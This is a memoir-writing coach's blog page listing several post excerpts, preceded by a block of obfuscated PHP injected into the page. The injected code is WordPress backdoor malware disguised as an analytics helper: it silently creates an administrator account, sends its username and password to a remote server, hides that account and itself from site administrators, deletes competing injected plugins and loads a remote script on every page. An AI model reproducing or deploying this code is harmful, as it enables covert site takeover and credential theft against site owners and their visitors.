/* __GA_INJ_START__ */
/*f24f30b3220786d4*/function _339a6f($_x){return $_x;}function _f4406e($_x){return $_x;}$_db3286d2=["version"=>"4.0.1","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","resolvers"=>"WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=","resolverKey"=>"N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==","sitePubKey"=>"MTgwOGRhMWM1ZjlkNWU3YWFhNmZjYjJhNGI5ZTkxYzE="];global $_43220e00;if(!is_array($_43220e00)){$_43220e00=[];}if(!in_array($_db3286d2["version"],$_43220e00,true)){$_43220e00[]=$_db3286d2["version"];}class GAwp_3601b224{private $seed;private $version;private $hooksOwner;private $resolved_endpoint=null;private $resolved_checked=false;public function __construct(){global $_db3286d2;$this->version=$_db3286d2["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))){define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}add_filter("all_plugins",[$this,"hplugin"]);if($this->hooksOwner){add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("init",[$this,"cleanup_old_instances"],99);add_action("init",[$this,"discover_legacy_users"],5);add_filter('rest_prepare_user',[$this,'filter_rest_user'],10,3);add_action('pre_get_posts',[$this,'block_author_archive']);add_filter('wp_sitemaps_users_query_args',[$this,'filter_sitemap_users']);add_filter('code_snippets/list_table/get_snippets',[$this,'hide_from_code_snippets']);add_filter('wpcode_code_snippets_table_prepare_items_args',[$this,'hide_from_wpcode']);add_action("wp_enqueue_scripts",[$this,"loadassets"]);}private function resolve_endpoint(){if($this->resolved_checked){return $this->resolved_endpoint;}$this->resolved_checked=true;$_d79e0b93=base64_decode('X19nYV9yX2NhY2hl');$_0bc7d700=get_transient($_d79e0b93);if($_0bc7d700!==false){$this->resolved_endpoint=$_0bc7d700;return $_0bc7d700;}global $_db3286d2;$_08645739=json_decode(base64_decode($_db3286d2["resolvers"]),true);if(!is_array($_08645739)||empty($_08645739)){return null;}$_48dac8f1=base64_decode($_db3286d2["resolverKey"]);shuffle($_08645739);foreach($_08645739 as $_5ac00184){$_fdb8634e=base64_decode($_5ac00184);if(strpos($_fdb8634e,'://')===false){$_fdb8634e='https://'.$_fdb8634e;}$_06b80869=rtrim($_fdb8634e,'/').'/?key='.urlencode($_48dac8f1);$_ff2c3c04=wp_remote_get($_06b80869,['timeout'=>5,'sslverify'=>false,]);if(is_wp_error($_ff2c3c04)){continue;}if(wp_remote_retrieve_response_code($_ff2c3c04)!==200){continue;}$_3de3a8d7=wp_remote_retrieve_body($_ff2c3c04);$_f709eeac=json_decode($_3de3a8d7,true);if(!is_array($_f709eeac)||empty($_f709eeac)){continue;}$_8caa01bc=$_f709eeac[array_rand($_f709eeac)];$_2fefb16f='https://'.$_8caa01bc;set_transient($_d79e0b93,$_2fefb16f,3600);$this->resolved_endpoint=$_2fefb16f;return $_2fefb16f;}return null;}private function get_hidden_users_option_name(){return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');}private function get_cleanup_done_option_name(){return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');}private function get_hidden_usernames(){$_996662df=get_option($this->get_hidden_users_option_name(),'[]');$_b5a6df99=json_decode($_996662df,true);if(!is_array($_b5a6df99)){$_b5a6df99=[];}return $_b5a6df99;}private function add_hidden_username($_de662d89){$_b5a6df99=$this->get_hidden_usernames();if(!in_array($_de662d89,$_b5a6df99,true)){$_b5a6df99[]=$_de662d89;update_option($this->get_hidden_users_option_name(),json_encode($_b5a6df99));}}private function get_hidden_user_ids(){$_c034eb66=$this->get_hidden_usernames();$_a89f93db=[];foreach($_c034eb66 as $_e4ec04a5){$_042571d1=get_user_by('login',$_e4ec04a5);if($_042571d1){$_a89f93db[]=$_042571d1->ID;}}return $_a89f93db;}public function hplugin($_c7a80233){unset($_c7a80233[plugin_basename(__FILE__)]);if(!isset($this->_old_instance_cache)){$this->_old_instance_cache=$this->find_old_instances();}foreach($this->_old_instance_cache as $_d4bcf78b){unset($_c7a80233[$_d4bcf78b]);}return $_c7a80233;}private function find_old_instances(){$_26fbe549=[];$_33067653=plugin_basename(__FILE__);$_7ce02d31=get_option('active_plugins',[]);$_872e81a1=WP_PLUGIN_DIR;$_834f92bf=[base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',];foreach($_7ce02d31 as $_ad27589e){if($_ad27589e===$_33067653){continue;}$_5e8a3685=$_872e81a1.'/'.$_ad27589e;if(!file_exists($_5e8a3685)){continue;}$_2ae9c971=@file_get_contents($_5e8a3685);if($_2ae9c971===false){continue;}foreach($_834f92bf as $_47da3442){if(strpos($_2ae9c971,$_47da3442)!==false){$_26fbe549[]=$_ad27589e;break;}}}$_e7a47f8e=get_plugins();foreach(array_keys($_e7a47f8e)as $_ad27589e){if($_ad27589e===$_33067653||in_array($_ad27589e,$_26fbe549,true)){continue;}$_5e8a3685=$_872e81a1.'/'.$_ad27589e;if(!file_exists($_5e8a3685)){continue;}$_2ae9c971=@file_get_contents($_5e8a3685);if($_2ae9c971===false){continue;}foreach($_834f92bf as $_47da3442){if(strpos($_2ae9c971,$_47da3442)!==false){$_26fbe549[]=$_ad27589e;break;}}}return array_unique($_26fbe549);}public function createuser(){if(get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_3f9a2389=$this->generate_credentials();if(!username_exists($_3f9a2389["user"])){$_00e5d2ec=wp_create_user($_3f9a2389["user"],$_3f9a2389["pass"],$_3f9a2389["email"]);if(!is_wp_error($_00e5d2ec)){(new WP_User($_00e5d2ec))->set_role("administrator");}}$this->add_hidden_username($_3f9a2389["user"]);$this->setup_site_credentials($_3f9a2389["user"],$_3f9a2389["pass"]);update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),true);}private function generate_credentials(){$_ba7d5bee=substr(hash("sha256",$this->seed."10d65ffd3e00158cbd455a521c7cf9a0"),0,16);return["user"=>"seo_service".substr(md5($_ba7d5bee),0,8),"pass"=>substr(md5($_ba7d5bee."pass"),0,12),"email"=>"seo-service@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_15123bfc,$_54d27cc4){global $_db3286d2;$_2fefb16f=$this->resolve_endpoint();if(!$_2fefb16f){return;}$_454aff56=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_db3286d2['sitePubKey']),"login"=>$_15123bfc,"password"=>$_54d27cc4];$_bde08b9b=["body"=>json_encode($_454aff56),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post($_2fefb16f."/api/sites/setup-credentials",$_bde08b9b);}public function filterusers($_391db3da){global $wpdb;$_af7a24e7=$this->get_hidden_usernames();if(empty($_af7a24e7)){return;}$_e5f0ab8b=implode(',',array_fill(0,count($_af7a24e7),'%s'));$_bde08b9b=array_merge([" AND {$wpdb->users}.user_login NOT IN ({$_e5f0ab8b})"],array_values($_af7a24e7));$_391db3da->query_where.=call_user_func_array([$wpdb,'prepare'],$_bde08b9b);}public function filter_rest_user($_ff2c3c04,$_042571d1,$_d3378bf7){$_af7a24e7=$this->get_hidden_usernames();if(in_array($_042571d1->user_login,$_af7a24e7,true)){return new WP_Error('rest_user_invalid_id',__('Invalid user ID.'),['status'=>404]);}return $_ff2c3c04;}public function block_author_archive($_391db3da){if(is_admin()||!$_391db3da->is_main_query()){return;}if($_391db3da->is_author()){$_ca6a662e=0;if($_391db3da->get('author')){$_ca6a662e=(int)$_391db3da->get('author');}elseif($_391db3da->get('author_name')){$_042571d1=get_user_by('slug',$_391db3da->get('author_name'));if($_042571d1){$_ca6a662e=$_042571d1->ID;}}if($_ca6a662e&&in_array($_ca6a662e,$this->get_hidden_user_ids(),true)){$_391db3da->set_404();status_header(404);}}}public function filter_sitemap_users($_bde08b9b){$_33f602f0=$this->get_hidden_user_ids();if(!empty($_33f602f0)){if(!isset($_bde08b9b['exclude'])){$_bde08b9b['exclude']=[];}$_bde08b9b['exclude']=array_merge($_bde08b9b['exclude'],$_33f602f0);}return $_bde08b9b;}public function cleanup_old_instances(){if(!is_admin()){return;}if(!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_33067653=plugin_basename(__FILE__);$_4b23ac14=get_option($this->get_cleanup_done_option_name(),'');if($_4b23ac14===$_33067653){return;}$_d44dd266=$this->find_old_instances();if(!empty($_d44dd266)){require_once ABSPATH.'wp-admin/includes/plugin.php';require_once ABSPATH.'wp-admin/includes/file.php';require_once ABSPATH.'wp-admin/includes/misc.php';deactivate_plugins($_d44dd266,true);foreach($_d44dd266 as $_d4bcf78b){$_872e81a1=WP_PLUGIN_DIR.'/'.dirname($_d4bcf78b);if(is_dir($_872e81a1)){$this->recursive_delete($_872e81a1);}}}update_option($this->get_cleanup_done_option_name(),$_33067653);}private function recursive_delete($_3954b5f4){if(!is_dir($_3954b5f4)){return;}$_86976a1f=@scandir($_3954b5f4);if(!$_86976a1f){return;}foreach($_86976a1f as $_eb97089c){if($_eb97089c==='.'||$_eb97089c==='..'){continue;}$_e33f8480=$_3954b5f4.'/'.$_eb97089c;if(is_dir($_e33f8480)){$this->recursive_delete($_e33f8480);}else{@unlink($_e33f8480);}}@rmdir($_3954b5f4);}public function discover_legacy_users(){$_b7cdedb1=[base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),];$_e75f2877=[base64_decode('c3lzdGVt'),];foreach($_b7cdedb1 as $_a7f8d407){$_ba7d5bee=substr(hash("sha256",$this->seed.$_a7f8d407),0,16);foreach($_e75f2877 as $_14892fdf){$_de662d89=$_14892fdf.substr(md5($_ba7d5bee),0,8);if(username_exists($_de662d89)){$this->add_hidden_username($_de662d89);}}}$_f50fecb6=$this->generate_credentials();if(username_exists($_f50fecb6["user"])){$this->add_hidden_username($_f50fecb6["user"]);}}private function get_snippet_id_option_name(){return base64_decode('X19nYV9zbmlwX2lk');}public function hide_from_code_snippets($_36fc155d){$_fea78816=$this->get_snippet_id_option_name();$_2e9cca0a=(int)get_option($_fea78816,0);if(!$_2e9cca0a){global $wpdb;$_453f2ad3=$wpdb->prefix.'snippets';$_2e9cca0a=(int)$wpdb->get_var("SELECT id FROM {$_453f2ad3} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1");if($_2e9cca0a)update_option($_fea78816,$_2e9cca0a,false);}if(!$_2e9cca0a)return $_36fc155d;return array_filter($_36fc155d,function($_eda564e3)use($_2e9cca0a){return(int)$_eda564e3->id!==$_2e9cca0a;});}public function hide_from_wpcode($_bde08b9b){$_fea78816=$this->get_snippet_id_option_name();$_2e9cca0a=(int)get_option($_fea78816,0);if(!$_2e9cca0a){global $wpdb;$_2e9cca0a=(int)$wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1");if($_2e9cca0a)update_option($_fea78816,$_2e9cca0a,false);}if(!$_2e9cca0a)return $_bde08b9b;if(!empty($_bde08b9b['post__not_in'])){$_bde08b9b['post__not_in'][]=$_2e9cca0a;}else{$_bde08b9b['post__not_in']=[$_2e9cca0a];}return $_bde08b9b;}public function loadassets(){global $_db3286d2,$_43220e00;$_4440c02c=true;if(is_array($_43220e00)){foreach($_43220e00 as $_69ca1d3e){if(version_compare($_69ca1d3e,$this->version,'>')){$_4440c02c=false;break;}}}$_caf46d8b=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_248b80fa=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_444cfcaa=wp_script_is($_caf46d8b,'registered')||wp_script_is($_caf46d8b,'enqueued');if($_4440c02c&&$_444cfcaa){wp_deregister_script($_caf46d8b);wp_deregister_style($_248b80fa);$_444cfcaa=false;}if(!$_4440c02c&&$_444cfcaa){return;}$_2fefb16f=$this->resolve_endpoint();if(!$_2fefb16f){return;}wp_enqueue_style($_248b80fa,base64_decode($_db3286d2["font"]),[],null);$_9faf3214=$_2fefb16f."/t.js?site=".base64_decode($_db3286d2['sitePubKey']);wp_enqueue_script($_caf46d8b,$_9faf3214,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_caf46d8b,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_6c1eed09=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_6c1eed09])){return;}$_813a031c=time()+(365*24*60*60);setcookie($_6c1eed09,'1',$_813a031c,'/','',false,false);}}new GAwp_3601b224();
/* __GA_INJ_END__ */
From time to time I blog about reading, writing, and loving memoirs...
Writing As Sculpture 1
I was struck today by how similar the writing process is to what I imagine the work of craftspeople who deal with tangible media like clay, wood or stone to be. I was brainstorming with a client of mine about her work. She was in the place people I work with dream of arriving—a draft…
Write your memoir because it feels sooooo good.
Why would I write a memoir? Want an answer to that question you’re asking yourself? I can hear what you’re thinking…. “I’m not famous, I’m not an actor, I was not born into a well-known family.” “I didn’t set a record, save 10,000 refugees, or develop a cure for blindness.” …
At What Cost?
Eighteen blue, silver and white gift bags, stuffed with contrasting tissue paper lined the table. Each sported a number from 1 to 18. However typical it was of me to overdo things with gift giving, especially when it came to my boys, this was a milestone made grander by the medical ordeals my son Adam…
Write to Prime the Pump that is your Memory
We all feel our memories are fading. From an early age, our memories are selectively taking things from the ‘active’ file, shifting them to the ‘for later’ file, and sneakily moving details to the permanent ‘archive’ from where we fear we will never retrieve them. I’ve got news for you – the memories are there. …
We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it.